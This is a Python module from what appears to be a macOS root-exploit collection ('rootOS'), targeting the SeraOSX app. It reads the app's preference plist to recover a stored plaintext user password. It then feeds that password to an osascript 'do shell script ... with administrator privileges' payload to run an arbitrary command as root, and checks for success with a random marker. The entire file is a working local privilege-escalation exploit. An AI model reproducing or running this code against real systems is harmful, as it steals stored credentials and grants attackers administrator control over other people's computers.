<reponame>thehappydinoa/rootOS<filename>exploits/sera.py
"""Sera app"""
import os.path
from plistlib import readPlist
from xml.parsers.expat import ExpatError

from .general import (
    DEFAULT_COMMAND,
    USER,
    app_installed,
    osascript,
    random_string,
    try_password,
)

__cve__ = ""
__credits__ = "m4rkw"


def vulnerable(version):
    """checks vulnerability"""
    return app_installed("SeraOSX.app")


def run():
    """runs exploit"""
    try:
        plist = readPlist(
            os.path.join(
                os.path.expanduser("~"), "/Library/Preferences/no.ignitum.SeraOSX.plist"
            )
        )
    except ExpatError:
        return
    sera_pass = plist.get("sera_pass")
    if not try_password(sera_pass):
        return
    rand = random_string()
    payload = """osascript <<END
      set command to "{command}; echo {success}"
      return do shell script command user name "{user}" password "{password}" with administrator privileges
    END""".format(
        command=DEFAULT_COMMAND, success=rand, user=USER, password=<PASSWORD>
    )
    response = osascript(payload)
    return rand in response
